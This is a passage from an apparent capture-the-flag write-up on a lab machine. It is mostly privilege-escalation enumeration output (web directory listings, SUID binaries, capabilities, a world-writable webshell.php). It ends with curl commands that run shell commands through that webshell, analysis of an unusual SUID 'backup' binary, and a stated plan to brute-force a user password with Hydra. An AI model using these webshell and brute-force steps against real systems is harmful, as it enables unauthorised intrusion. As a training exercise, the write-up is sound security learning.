-rw-r--r--. 1 apache apache 8.3K May 10 10:25 function.html_radios.php
-rw-r--r--. 1 apache apache 15K May 10 10:25 function.html_select_date.php
-rw-r--r--. 1 apache apache 15K May 10 10:25 function.html_select_time.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 function.html_table.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 function.mailto.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 function.math.php
-rw-r--r--. 1 apache apache 4.2K May 10 10:25 modifier.capitalize.php
-rw-r--r--. 1 apache apache 2.7K May 10 10:25 modifier.date_format.php
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 modifier.debug_print_var.php
-rw-r--r--. 1 apache apache 9.5K May 10 10:25 modifier.escape.php
-rw-r--r--. 1 apache apache 2.3K May 10 10:25 modifier.mb_wordwrap.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 modifier.regex_replace.php
-rw-r--r--. 1 apache apache 999 May 10 10:25 modifier.replace.php
-rw-r--r--. 1 apache apache 756 May 10 10:25 modifier.spacify.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 modifier.truncate.php
-rw-r--r--. 1 apache apache 612 May 10 10:25 modifiercompiler.cat.php
-rw-r--r--. 1 apache apache 918 May 10 10:25 modifiercompiler.count_characters.php
-rw-r--r--. 1 apache apache 659 May 10 10:25 modifiercompiler.count_paragraphs.php
-rw-r--r--. 1 apache apache 745 May 10 10:25 modifiercompiler.count_sentences.php
-rw-r--r--. 1 apache apache 979 May 10 10:25 modifiercompiler.count_words.php
-rw-r--r--. 1 apache apache 770 May 10 10:25 modifiercompiler.default.php
-rw-r--r--. 1 apache apache 5.1K May 10 10:25 modifiercompiler.escape.php
```

-rw-r--r--. 1 apache apache 752 May 10 10:25 modifiercompiler.from_charset.php
-rw-r--r--. 1 apache apache 712 May 10 10:25 modifiercompiler.indent.php
-rw-r--r--. 1 apache apache 724 May 10 10:25 modifiercompiler.lower.php
-rw-r--r--. 1 apache apache 340 May 10 10:25 modifiercompiler.noprint.php
-rw-r--r--. 1 apache apache 574 May 10 10:25 modifiercompiler.string_format.php
-rw-r--r--. 1 apache apache 798 May 10 10:25 modifiercompiler.strip.php
-rw-r--r--. 1 apache apache 720 May 10 10:25 modifiercompiler.strip_tags.php
-rw-r--r--. 1 apache apache 746 May 10 10:25 modifiercompiler.to_charset.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 modifiercompiler.unescape.php
-rw-r--r--. 1 apache apache 678 May 10 10:25 modifiercompiler.upper.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 modifiercompiler.wordwrap.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 outputfilter.trimwhitespace.php
-rw-r--r--. 1 apache apache 977 May 10 10:25 shared.escape_special_chars.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 shared.literal_compiler_param.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 shared.make_timestamp.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 shared.mb_str_replace.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 shared.mb_unicode.php
-rw-r--r--. 1 apache apache 451 May 10 10:25 variablefilter.htmlspecialchars.php

/var/www/html/class/smarty/sysplugins:

total 1.3M

drwxr-xr-x. 2 apache apache 12K May 10 10:25 .
drwxr-xr-x. 4 apache apache 149 May 10 10:25 ..
-rw-r--r--. 1 apache apache 6.5K May 10 10:25 smarty_cacheresource.php
-rw-r--r--. 1 apache apache 9.7K May 10 10:25 smarty_cacheresource_custom.php
-rw-r--r--. 1 apache apache 18K May 10 10:25 smarty_cacheresource_keyvaluestore.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_data.php
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 smarty_internal_block.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 smarty_internal_cacheresource_file.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_compile_append.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 smarty_internal_compile_assign.php
-rw-r--r--. 1 apache apache 7.6K May 10 10:25 smarty_internal_compile_block.php
-rw-r--r--. 1 apache apache 485 May 10 10:25 smarty_internal_compile_block_child.php
-rw-r--r--. 1 apache apache 583 May 10 10:25 smarty_internal_compile_block_parent.php
-rw-r--r--. 1 apache apache 3.8K May 10 10:25 smarty_internal_compile_break.php
-rw-r--r--. 1 apache apache 2.9K May 10 10:25 smarty_internal_compile_call.php
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 smarty_internal_compile_capture.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25 smarty_internal_compile_child.php
-rw-r--r--. 1 apache apache 2.7K May 10 10:25 smarty_internal_compile_config_load.php
-rw-r--r--. 1 apache apache 437 May 10 10:25 smarty_internal_compile_continue.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_compile_debug.php
-rw-r--r--. 1 apache apache 1.9K May 10 10:25 smarty_internal_compile_eval.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 smarty_internal_compile_extends.php
-rw-r--r--. 1 apache apache 6.6K May 10 10:25 smarty_internal_compile_for.php
-rw-r--r--. 1 apache apache 12K May 10 10:25 smarty_internal_compile_foreach.php
-rw-r--r--. 1 apache apache 9.6K May 10 10:25 smarty_internal_compile_function.php
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 smarty_internal_compile_if.php
-rw-r--r--. 1 apache apache 15K May 10 10:25 smarty_internal_compile_include.php

-rw-r--r--. 1 apache apache 3.5K May 10 10:25 smarty_internal_compile_include_php.php
-rw-r--r--. 1 apache apache 5.9K May 10 10:25 smarty_internal_compile_insert.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_compile_ldelim.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_compile_make_nocache.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_compile_nocache.php
-rw-r--r--. 1 apache apache 565 May 10 10:25 smarty_internal_compile_parent.php
-rw-r--r--. 1 apache apache 5.0K May 10 10:25
smarty_internal_compile_private_block_plugin.php
-rw-r--r--. 1 apache apache 7.0K May 10 10:25
smarty_internal_compile_private_foreachsection.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25
smarty_internal_compile_private_function_plugin.php
-rw-r--r--. 1 apache apache 7.9K May 10 10:25
smarty_internal_compile_private_modifier.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_compile_private_object_block_function.php
-rw-r--r--. 1 apache apache 3.2K May 10 10:25
smarty_internal_compile_private_object_function.php
-rw-r--r--. 1 apache apache 9.7K May 10 10:25 smarty_internal_compile_private_php.php
-rw-r--r--. 1 apache apache 6.6K May 10 10:25
smarty_internal_compile_private_print_expression.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25
smarty_internal_compile_private_registered_block.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25
smarty_internal_compile_private_registered_function.php
-rw-r--r--. 1 apache apache 5.5K May 10 10:25
smarty_internal_compile_private_special_variable.php
-rw-r--r--. 1 apache apache 902 May 10 10:25 smarty_internal_compile_rdelim.php
-rw-r--r--. 1 apache apache 18K May 10 10:25 smarty_internal_compile_section.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 smarty_internal_compile_setfilter.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25
smarty_internal_compile_shared_inheritance.php
-rw-r--r--. 1 apache apache 3.8K May 10 10:25 smarty_internal_compile_while.php
-rw-r--r--. 1 apache apache 7.0K May 10 10:25 smarty_internal_compilebase.php
-rw-r--r--. 1 apache apache 6.4K May 10 10:25 smarty_internal_config_file_compiler.php
-rw-r--r--. 1 apache apache 25K May 10 10:25 smarty_internal_configfilelexer.php
-rw-r--r--. 1 apache apache 34K May 10 10:25 smarty_internal_configfileparser.php
-rw-r--r--. 1 apache apache 8.8K May 10 10:25 smarty_internal_data.php
-rw-r--r--. 1 apache apache 16K May 10 10:25 smarty_internal_debug.php
-rw-r--r--. 1 apache apache 4.3K May 10 10:25 smarty_internal_errorhandler.php
-rw-r--r--. 1 apache apache 8.1K May 10 10:25 smarty_internal_extension_handler.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25
smarty_internal_method_addautoloadfilters.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_adddefaultmodifiers.php
-rw-r--r--. 1 apache apache 2.8K May 10 10:25 smarty_internal_method_append.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_method_appendbyref.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_assignbyref.php

-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_internal_method_assignglobal.php
-rw-r--r--. 1 apache apache 778 May 10 10:25 smarty_internal_method_clearallassign.php
-rw-r--r--. 1 apache apache 994 May 10 10:25 smarty_internal_method_clearallcache.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_clearassign.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_clearcache.php
-rw-r--r--. 1 apache apache 5.6K May 10 10:25
smarty_internal_method_clearcompiledtemplate.php
-rw-r--r--. 1 apache apache 977 May 10 10:25 smarty_internal_method_clearconfig.php
-rw-r--r--. 1 apache apache 964 May 10 10:25
smarty_internal_method_compileallconfig.php
-rw-r--r--. 1 apache apache 4.6K May 10 10:25
smarty_internal_method_compilealltemplates.php
-rw-r--r--. 1 apache apache 7.2K May 10 10:25 smarty_internal_method_configload.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_createdata.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_method_getautoloadfilters.php
-rw-r--r--. 1 apache apache 919 May 10 10:25
smarty_internal_method_getconfigvariable.php
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 smarty_internal_method_getconfigvars.php
-rw-r--r--. 1 apache apache 709 May 10 10:25
smarty_internal_method_getdebugtemplate.php
-rw-r--r--. 1 apache apache 745 May 10 10:25
smarty_internal_method_getdefaultmodifiers.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_getglobal.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_method_getregisteredobject.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25
smarty_internal_method_getstreamvariable.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_method_gettags.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25
smarty_internal_method_gettemplatevars.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_internal_method_literals.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 smarty_internal_method_loadfilter.php
-rw-r--r--. 1 apache apache 4.2K May 10 10:25 smarty_internal_method_loadplugin.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_method_mustcompile.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_registercacheresource.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_internal_method_registerclass.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_registerdefaultconfighandler.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25
smarty_internal_method_registerdefaultpluginhandler.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25
smarty_internal_method_registerdefaulttemplatehandler.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25 smarty_internal_method_registerfilter.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25 smarty_internal_method_registerobject.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_method_registerplugin.php

-rw-r--r--. 1 apache apache 1.9K May 10 10:25 smarty_internal_method_registerresource.php
-rw-r--r--. 1 apache apache 2.3K May 10 10:25 smarty_internal_method_setautoloadfilters.php
-rw-r--r--. 1 apache apache 1023 May 10 10:25 smarty_internal_method_setdebugtemplate.php
-rw-r--r--. 1 apache apache 1008 May 10 10:25 smarty_internal_method_setdefaultmodifiers.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 smarty_internal_method_unloadfilter.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_unregistercacheresource.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 smarty_internal_method_unregisterfilter.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_unregisterobject.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25 smarty_internal_method_unregisterplugin.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_unregisterresource.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_nocache_insert.php
-rw-r--r--. 1 apache apache 907 May 10 10:25 smarty_internal_parsetree.php
-rw-r--r--. 1 apache apache 889 May 10 10:25 smarty_internal_parsetree_code.php
-rw-r--r--. 1 apache apache 3.3K May 10 10:25 smarty_internal_parsetree_dq.php
-rw-r--r--. 1 apache apache 930 May 10 10:25 smarty_internal_parsetree_dqcontent.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_parsetree_tag.php
-rw-r--r--. 1 apache apache 4.1K May 10 10:25 smarty_internal_parsetree_template.php
-rw-r--r--. 1 apache apache 838 May 10 10:25 smarty_internal_parsetree_text.php
-rw-r--r--. 1 apache apache 2.8K May 10 10:25 smarty_internal_resource_eval.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 smarty_internal_resource_extends.php
-rw-r--r--. 1 apache apache 6.7K May 10 10:25 smarty_internal_resource_file.php
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 smarty_internal_resource_php.php
-rw-r--r--. 1 apache apache 3.2K May 10 10:25 smarty_internal_resource_registered.php
-rw-r--r--. 1 apache apache 2.4K May 10 10:25 smarty_internal_resource_stream.php
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 smarty_internal_resource_string.php
-rw-r--r--. 1 apache apache 2.6K May 10 10:25 smarty_internal_runtime_cachemodify.php
-rw-r--r--. 1 apache apache 5.8K May 10 10:25 smarty_internal_runtime_cacheresourcefile.php
-rw-r--r--. 1 apache apache 4.1K May 10 10:25 smarty_internal_runtime_capture.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25 smarty_internal_runtime_codeframe.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_internal_runtime_filterhandler.php
-rw-r--r--. 1 apache apache 5.4K May 10 10:25 smarty_internal_runtime_foreach.php
-rw-r--r--. 1 apache apache 4.9K May 10 10:25 smarty_internal_runtime_getincludepath.php
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 smarty_internal_runtime_inheritance.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_runtime_make_nocache.php
-rw-r--r--. 1 apache apache 7.5K May 10 10:25 smarty_internal_runtime_tplfunction.php
-rw-r--r--. 1 apache apache 6.5K May 10 10:25 smarty_internal_runtime_updatecache.php
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 smarty_internal_runtime_updatescope.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 smarty_internal_runtime_writefile.php
-rw-r--r--. 1 apache apache 5.5K May 10 10:25 smarty_internal_smartytemplatecompiler.php

-rw-r--r--. 1 apache apache 26K May 10 10:25 smarty_internal_template.php
-rw-r--r--. 1 apache apache 14K May 10 10:25 smarty_internal_templatebase.php
-rw-r--r--. 1 apache apache 59K May 10 10:25 smarty_internal_templatecompilerbase.php
-rw-r--r--. 1 apache apache 36K May 10 10:25 smarty_internal_templatelexer.php
-rw-r--r--. 1 apache apache 135K May 10 10:25 smarty_internal_templateparser.php
-rw-r--r--. 1 apache apache 32K May 10 10:25 smarty_internal_testinstall.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_undefined.php
-rw-r--r--. 1 apache apache 9.3K May 10 10:25 smarty_resource.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_resource_custom.php
-rw-r--r--. 1 apache apache 2.4K May 10 10:25 smarty_resource_recompiled.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_resource_uncompiled.php
-rw-r--r--. 1 apache apache 23K May 10 10:25 smarty_security.php
-rw-r--r--. 1 apache apache 7.6K May 10 10:25 smarty_template_cached.php
-rw-r--r--. 1 apache apache 9.3K May 10 10:25 smarty_template_compiled.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_template_config.php
-rw-r--r--. 1 apache apache 3.5K May 10 10:25 smarty_template_resource_base.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 smarty_template_source.php
-rw-r--r--. 1 apache apache 567 May 10 10:25 smarty_undefined_variable.php
-rw-r--r--. 1 apache apache 910 May 10 10:25 smarty_variable.php
-rw-r--r--. 1 apache apache 771 May 10 10:25 smartycompilerexception.php
-rw-r--r--. 1 apache apache 334 May 10 10:25 smartyexception.php

/var/www/html/css:

total 8.0K

drwxr-xr-x. 2 apache apache 33 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 289 May 10 10:25 heroic-features.css

/var/www/html/img:

total 440K

drwxr-xr-x. 2 apache apache 82 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 109K May 10 10:25 CoV2.jpg
-rw-r--r--. 1 apache apache 17K May 10 10:25 HS.JPG
-rw-r--r--. 1 apache apache 62K May 10 10:25 N95 Mask.JPG
-rw-r--r--. 1 apache apache 237K May 10 10:25 Nitrile gloves.png

/var/www/html/settings:

total 8.0K

drwxr-xr-x. 2 apache apache 24 May 10 10:39 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 142 May 10 10:39 config.php

/var/www/html/vendor:

total 4.0K

drwxr-xr-x. 4 apache apache 37 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
drwxr-xr-x. 4 apache apache 27 May 10 10:25 bootstrap

drwxr-xr-x. 2 apache apache 141 May 10 10:25 jquery

/var/www/html/vendor/bootstrap:

total 4.0K

drwxr-xr-x. 4 apache apache 27 May 10 10:25 .

drwxr-xr-x. 4 apache apache 37 May 10 10:25 ..

drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 css

drwxr-xr-x. 2 apache apache 226 May 10 10:25 js

/var/www/html/vendor/bootstrap/css:

total 1.9M

drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 .

drwxr-xr-x. 4 apache apache 27 May 10 10:25 ..

-rw-r--r--. 1 apache apache 64K May 10 10:25 bootstrap-grid.css

-rw-r--r--. 1 apache apache 149K May 10 10:25 bootstrap-grid.css.map

-rw-r--r--. 1 apache apache 48K May 10 10:25 bootstrap-grid.min.css

-rw-r--r--. 1 apache apache 106K May 10 10:25 bootstrap-grid.min.css.map

-rw-r--r--. 1 apache apache 4.8K May 10 10:25 bootstrap-reboot.css

-rw-r--r--. 1 apache apache 75K May 10 10:25 bootstrap-reboot.css.map

-rw-r--r--. 1 apache apache 4.0K May 10 10:25 bootstrap-reboot.min.css

-rw-r--r--. 1 apache apache 32K May 10 10:25 bootstrap-reboot.min.css.map

-rw-r--r--. 1 apache apache 188K May 10 10:25 bootstrap.css

-rw-r--r--. 1 apache apache 481K May 10 10:25 bootstrap.css.map

-rw-r--r--. 1 apache apache 153K May 10 10:25 bootstrap.min.css

-rw-r--r--. 1 apache apache 612K May 10 10:25 bootstrap.min.css.map

/var/www/html/vendor/bootstrap/js:

total 1.6M

drwxr-xr-x. 2 apache apache 226 May 10 10:25 .

drwxr-xr-x. 4 apache apache 27 May 10 10:25 ..

-rw-r--r--. 1 apache apache 218K May 10 10:25 bootstrap.bundle.js

-rw-r--r--. 1 apache apache 393K May 10 10:25 bootstrap.bundle.js.map

-rw-r--r--. 1 apache apache 77K May 10 10:25 bootstrap.bundle.min.js

-rw-r--r--. 1 apache apache 305K May 10 10:25 bootstrap.bundle.min.js.map

-rw-r--r--. 1 apache apache 129K May 10 10:25 bootstrap.js

-rw-r--r--. 1 apache apache 245K May 10 10:25 bootstrap.js.map

-rw-r--r--. 1 apache apache 57K May 10 10:25 bootstrap.min.js

-rw-r--r--. 1 apache apache 186K May 10 10:25 bootstrap.min.js.map

/var/www/html/vendor/jquery:

total 904K

drwxr-xr-x. 2 apache apache 141 May 10 10:25 .

drwxr-xr-x. 4 apache apache 37 May 10 10:25 ..

-rw-r--r--. 1 apache apache 274K May 10 10:25 jquery.js

-rw-r--r--. 1 apache apache 87K May 10 10:25 jquery.min.js

-rw-r--r--. 1 apache apache 134K May 10 10:25 jquery.min.map

-rw-r--r--. 1 apache apache 222K May 10 10:25 jquery.slim.js

-rw-r--r--. 1 apache apache 70K May 10 10:25 jquery.slim.min.js

-rw-r--r--. 1 apache apache 107K May 10 10:25 jquery.slim.min.map

INTERESTING FILES

[-] Useful file locations:

[-] Can we read/write sensitive files:

-rw-r--r-- 1 root root 2000 May 10 15:51 /etc/passwd
-rw-r--r-- 1 root root 794 May 10 15:51 /etc/group
-rw-r--r--. 1 root root 2078 Sep 10 2018 /etc/profile
----- 1 root root 1161 May 10 15:51 /etc/shadow

[-] SUID files:

-rwsr-xr-x. 1 root root 38680 May 11 2019 /usr/bin/fusermount
-rwsr-xr-x. 1 root root 62104 Nov 8 2019 /usr/bin/su
-rwsr-xr-x. 1 root root 133928 Nov 8 2019 /usr/bin/chage
-rwsr-xr-x. 1 root root 156736 Nov 8 2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root 88488 Nov 8 2019 /usr/bin/newgrp
-rwsr-xr-x. 1 root root 61856 Nov 8 2019 /usr/bin/mount
-rwsr-xr-x. 1 root root 40728 Nov 8 2019 /usr/bin/umount
-rwsr-xr-x. 1 root root 31488 Nov 11 2019 /usr/bin/pkexec
-rwsr-xr-x. 1 root root 65904 Nov 8 2019 /usr/bin/crontab
-rws--x--x. 1 root root 48896 Nov 8 2019 /usr/bin/chfn
-rws--x--x. 1 root root 37816 Nov 8 2019 /usr/bin/chsh
---s--x--x. 1 root root 207056 Mar 20 18:28 /usr/bin/sudo
-rwsr-xr-x. 1 root root 61688 May 11 2019 /usr/bin/at
-rwsr-xr-x. 1 root root 34928 May 11 2019 /usr/bin/passwd
-rwsr-xr-x. 1 root root 16672 May 9 19:21 /usr/bin/backup
-rwsr-xr-x. 1 root root 12712 Feb 5 01:46 /usr/sbin/grub2-set-bootflag
-rwsr-xr-x. 1 root root 13376 May 11 2019 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root 40080 May 11 2019 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root 182088 Nov 8 2019 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root 21424 Nov 11 2019 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-x---. 1 root dbus 70064 Nov 8 2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x. 1 root root 21880 May 14 2019 /usr/libexec/gstreamer-1.0/gst-ptp-helper
-rwsr-x---. 1 root sssd 217400 Apr 13 18:09 /usr/libexec/sss/krb5_child
-rwsr-x---. 1 root sssd 119576 Apr 13 18:09 /usr/libexec/sss/ldap_child
-rwsr-x---. 1 root sssd 72768 Apr 13 18:09 /usr/libexec/sss/selinux_child
-rwsr-x---. 1 root sssd 34800 Apr 13 18:09 /usr/libexec/sss/proxy_child
-rwsr-xr-x. 1 root root 22200 Apr 10 11:45 /usr/libexec/qemu-bridge-helper
-rwsr-x---. 1 root cockpit-ws 48720 Nov 8 2019 /usr/libexec/cockpit-session

[-] SGID files:

-rwxr-sr-x. 1 root tty 26080 Nov 8 2019 /usr/bin/write
-rwx--s--x. 1 root slocate 48552 May 11 2019 /usr/bin/locate

```
-rwx--s--x. 1 root utmp 13344 May 11 2019 /usr/libexec/utempter/utempter
-r-xr-sr-x. 1 root ssh_keys 630344 Feb 4 16:01 /usr/libexec/openssh/ssh-keysign
```

[+] Files with POSIX capabilities set:

```
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/mtr-packet = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
```

[-] World-writable files (excluding /proc and /sys):

```
-rw-rw-rw- 1 mysql mysql 27 Jul 15 01:54 /var/www/html/webshell.php
```

[-] NFS config details:

```
-rw-r--r--. 1 root root 0 Sep 10 2018 /etc/exports
```

[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems

```
#
# /etc/fstab
# Created by anaconda on Sat May 9 14:02:49 2020
#
# Accessible filesystems, by reference, are maintained under '/dev/disk/'.
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info.
#
# After editing this file, run 'systemctl daemon-reload' to update systemd
# units generated from this file.
#
/dev/mapper/cl-root / xfs defaults 0 0
UUID=16140c22-1e97-400a-9987-29f9f1b79599 /boot ext4 defaults 1 2
/dev/mapper/cl-swap swap swap defaults 0 0
```

[-] Can't search *.conf files as no keyword was entered

[-] Can't search *.php files as no keyword was entered

[-] Can't search *.log files as no keyword was entered

[-] Can't search *.ini files as no keyword was entered

[-] All *.conf files in /etc (recursive 1 level):

```

-rw-r--r-- 1 root root 80 Jul 15 00:07 /etc/resolv.conf
-rw-r--r-- 1 root root 642 Dec 9 2016 /etc/xattr.conf
-rw-r--r-- 1 root root 812 Nov 8 2019 /etc/krb5.conf
-rw-r--r-- 1 root root 9 Sep 10 2018 /etc/host.conf
-rw-r--r-- 1 root root 117 Jan 3 2020 /etc/dracut.conf
-rw-r--r-- 1 root root 449 Apr 9 22:52 /etc/sysctl.conf
-rw-r--r-- 1 root root 28 Feb 4 15:58 /etc/ld.so.conf
-rw-r--r-- 1 root root 38 May 11 2019 /etc/fuse.conf
-rw-r----- 1 root root 191 Jun 7 2019 /etc/libaudit.conf
-rw----- 1 tss tss 7046 Dec 13 2019 /etc/tcsd.conf
-rw-r--r-- 1 root root 216 Feb 4 19:00 /etc/sestatus.conf
-rw-r--r-- 1 root root 1787 May 11 2019 /etc/request-key.conf
-rw-r--r-- 1 root root 2620 May 11 2019 /etc/mttools.conf
-rw-r--r-- 1 root root 2391 Jul 23 2015 /etc/libuser.conf
-rw-r--r-- 1 root root 812 Nov 8 2019 /etc/mke2fs.conf
-rw-r--r-- 1 root root 4849 Nov 8 2019 /etc/idmapd.conf
-rw-r--r-- 1 root root 20 May 21 2019 /etc/fprintd.conf
-rw-r--r-- 1 root dnsmasq 26843 Dec 13 2019 /etc/dnsmasq.conf
-rw-r--r-- 1 root root 4922 May 14 2019 /etc/oddjobd.conf
-rw-r--r-- 1 root root 433 May 14 2019 /etc/radvd.conf
-rw-r--r-- 1 root root 478 Apr 10 11:43 /etc/ksmtuned.conf
-rw-r--r-- 1 root root 7916 May 9 14:53 /etc/kdump.conf
-rw-r--r-- 1 root root 438 Feb 19 2018 /etc/logrotate.conf
-rw-r--r-- 1 root root 3185 Nov 8 2019 /etc/rsyslog.conf
-rw-r--r-- 1 root root 55 Nov 8 2019 /etc/asound.conf
-rw-r--r-- 1 root root 1024 Nov 8 2019 /etc/nfs.conf
-rw-r--r-- 1 root root 3606 Nov 8 2019 /etc/nfsmount.conf
-rw-r--r-- 1 root root 1085 May 10 2019 /etc/chrony.conf
-rw-r--r-- 1 root root 138 Jan 3 2020 /etc/sos.conf
-rw-r--r-- 1 root root 587 May 11 2019 /etc/updatedb.conf
-rw-r----- 1 root root 3181 Mar 20 18:26 /etc/sudo-ldap.conf
-rw-r----- 1 root root 1786 Mar 20 18:26 /etc/sudo.conf
-rw-r--r-- 1 root root 5165 May 11 2019 /etc/man_db.conf
-rw-r--r-- 1 root root 28 May 9 14:22 /etc/vconsole.conf
-rw-r--r-- 1 root root 19 May 9 14:22 /etc/locale.conf
-rw-r--r-- 1 root root 4023 Nov 14 2019 /etc/php-fpm.conf
-rw-r--r-- 1 root root 508 May 14 2019 /etc/elinks.conf

```

[-] Location and Permissions (if accessible) of .bak file(s):

```

-rw-r--r-- 1 root root 1498 Nov 6 2019 /etc/nsswitch.conf.bak

```

[-] Any interesting mail in /var/mail:

```

lrwxrwxrwx. 1 root root 10 May 11 2019 /var/mail -> spool/mail

```

SCAN COMPLETE

> the SUID binary "/usr/bin/backup" is unusual

```
-rwsr-xr-x. 1 root root 16672 May  9 19:21 /usr/bin/backup
```

> Let's have a look at it using the STRINGS command..

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=strings%20/usr/bin/backup
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
[]A\A]A^A_
/home/moneygrabber/backup.sh
;*3$"
GCC: (GNU) 8.3.1 20190507 (Red Hat 8.3.1-4)
3h878
3c878
3s878
3e878
3h878
3c878
3s878
3e878
3p878
gcc 8.3.1 20190507
<SNIP>
```

> This binary runs "/home/moneygrabber/backup.sh"

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/home/
admin
moneygrabber
```

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/home/moneygrabber/
```

> I don't have access to it, I need to find the password of the account "moneygrabber"... Let's try a basic bruteforce attack with Hydra and rockyou.txt...

```
